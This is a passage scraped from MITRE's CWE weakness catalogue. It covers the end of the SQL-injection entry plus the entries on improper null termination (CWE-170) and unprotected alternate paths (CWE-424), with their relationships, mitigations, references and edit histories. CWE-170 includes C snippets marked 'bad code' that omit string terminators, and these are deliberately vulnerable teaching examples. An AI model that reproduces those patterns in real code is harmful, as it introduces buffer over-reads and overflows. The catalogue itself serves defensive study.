Web Application Scanner

Web Services Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	713	OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	727	OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	801	2010 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	810	OWASP Top Ten 2010 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	929	OWASP Top Ten 2013 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1005	7PK - Input Validation and Representation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1027	OWASP Top Ten 2017 Category A1 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			SQL injection
7 Pernicious Kingdoms			SQL Injection
CLASP			SQL injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	19		SQL Injection
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-89
SEI CERT Oracle Coding Standard for Java	IDS00-J	Exact	Prevent SQL injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-108	Command Line Execution through SQL Injection
CAPEC-109	Object Relational Mapping Injection
CAPEC-110	SQL Injection through SOAP Parameter Tampering
CAPEC-470	Expanding Control over the Operating System from the Database
CAPEC-66	SQL Injection
CAPEC-7	Blind SQL Injection

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-867] OWASP. "SQL Injection Prevention Cheat Sheet". <http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>.

[REF-868] Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. <http://www.unixwiz.net/techtips/sql-injection.html>.

[REF-869] Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. <https://web.archive.org/web/20080126180244/http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>. URL validated: 2023-04-07.

[REF-870] David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.

[REF-871] David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.

[REF-872] Microsoft. "SQL Injection". 2008-12. <https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-873] Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". <https://msrc.microsoft.com/blog/2008/05/sql-injection-attack/>. URL validated: 2023-04-07.

[REF-874] Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/giving-sql-injection-the-respect-it-deserves>. URL validated: 2023-04-07.

[REF-875] Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. <https://www.sans.org/blog/top-25-series-rank-2-sql-injection/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061. 1st Edition. Addison Wesley. 2006.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-89. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01 (CWE 1.0, 2008-09-09)	Eric Dalci	Cigital
2008-07-01 (CWE 1.0, 2008-09-09)	updated Time_of_Introduction
2008-08-01 (CWE 1.0, 2008-09-09)		KDM Analytics
2008-08-01 (CWE 1.0, 2008-09-09)	added/updated white box definitions
2008-08-15 (CWE 1.0, 2008-09-09)		Veracode
2008-08-15 (CWE 1.0, 2008-09-09)	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Observed_Examples
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples, Name, Related_Attack_Patterns
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Description, Name, White_Box_Definitions
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Demonstrative_Examples, Potential_Mitigations
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, Observed_Examples, References, Relationships, White_Box_Definitions
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships, Time_of_Introduction
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Demonstrative_Examples, Potential_Mitigations, Relationship_Notes
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Demonstrative_Examples, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples, Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	SQL Injection

2008-09-09	Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')

2009-01-12	Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')

2009-05-27	Failure to Preserve SQL Query Structure (aka 'SQL Injection')

2009-07-27	Failure to Preserve SQL Query Structure ('SQL Injection')

2010-06-21	Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 170

View customized information:

Description

The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	707	Improper Neutralization
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	463	Deletion of Data Structure Sentinel
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	464	Addition of Data Structure Sentinel
CanAlsoBe	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	147	Improper Neutralization of Input Terminators
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	193	Off-by-one Error
CanFollow	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanPrecede	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	126	Buffer Over-read

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	137	Data Neutralization Issues

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Read Memory; Execute Unauthorized Code or Commands The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.
Confidentiality Integrity Availability	Technical Impact: DoS: Crash, Exit, or Restart; Read Memory; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory) If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer.
Integrity Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.
Integrity Confidentiality Availability Access Control Other	Technical Impact: Alter Execution Logic; Execute Unauthorized Code or Commands Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.

(bad code)

Example Language: C

#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,inputbuf); //requires null terminated input
...

The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.

Example 2

In the following code, readlink() expands the name of a symbolic link stored in pathname and puts the absolute path into buf. The length of the resulting value is then calculated using strlen().

(bad code)

Example Language: C

char buf[MAXPATH];
...
readlink(pathname, buf, MAXPATH);
int length = strlen(buf);
...

The code above will not always behave correctly as readlink() does not append a NULL byte to buf. Readlink() will stop copying characters once the maximum size of buf has been reached to avoid overflowing the buffer, this will leave the value buf not NULL terminated. In this situation, strlen() will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. Readlink() does return the number of bytes copied, but when this return value is the same as stated buf size (in this case MAXPATH), it is impossible to know whether the pathname is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly.

Example 3

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

(bad code)

Example Language: C

#include <stdio.h>
#include <string.h>

int main() {

char longString[] = "String signifying nothing";
char shortString[16];

strncpy(shortString, longString, 16);
printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);
return (0);

}

The above code gives the following output: "The last character in shortString is: n (6e)". So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used. The reason is that strncpy() does not impliciitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.

Observed Examples

Reference	Description
CVE-2000-0312	Attacker does not null-terminate argv[] when invoking another program.
CVE-2003-0777	Interrupted step causes resultant lack of null termination.
CVE-2004-1072	Fault causes resultant lack of null termination, leading to buffer expansion.
CVE-2001-1389	Multiple vulnerabilities related to improper null termination.
CVE-2003-0143	Product does not null terminate a message buffer after snprintf-like call, leading to overflow.
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).

Potential Mitigations

Phase: Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

Phase: Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

Phase: Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

Phase: Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

Phase: Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	730	OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	973	SFP Secondary Cluster: Improper NULL Termination
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1407	Comprehensive Categorization: Improper Neutralization

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Relationship

Overlaps missing input terminator.

Applicable Platform

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.

Maintenance

As currently described, this entry is more like a category than a weakness.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Null Termination
7 Pernicious Kingdoms			String Termination Error
CLASP			Miscalculated null termination
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	POS30-C	CWE More Abstract	Use the readlink() function properly
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR32-C	Exact	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP11		Improper Null Termination

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Causal_Nature, Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Common_Consequences
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Common_Consequences, Other_Notes, Potential_Mitigations, White_Box_Definitions
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Description
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Common_Consequences
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Observed_Examples
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Observed_Examples, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Demonstrative_Examples
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 424

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	693	Protection Mechanism Failure
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	638	Not Using Complete Mediation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	425	Direct Request ('Forced Browsing')

Modes Of Introduction

Phase	Note
Architecture and Design

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

Observed Examples

Reference	Description
CVE-2022-29238	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.

Potential Mitigations

Phase: Architecture and Design

Deploy different layers of protection to implement security in depth.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	945	SFP Secondary Cluster: Insecure Resource Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1309	CISQ Quality Measures - Efficiency
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1418	Comprehensive Categorization: Violation of Secure Design Principles

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Path Errors
Software Fault Patterns	SFP35		Insecure resource access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-127	Directory Indexing
CAPEC-554	Functionality Bypass

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Name
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Alternate Path Errors

2010-12-13	Failure to Protect Alternate Path

Weakness ID: 404

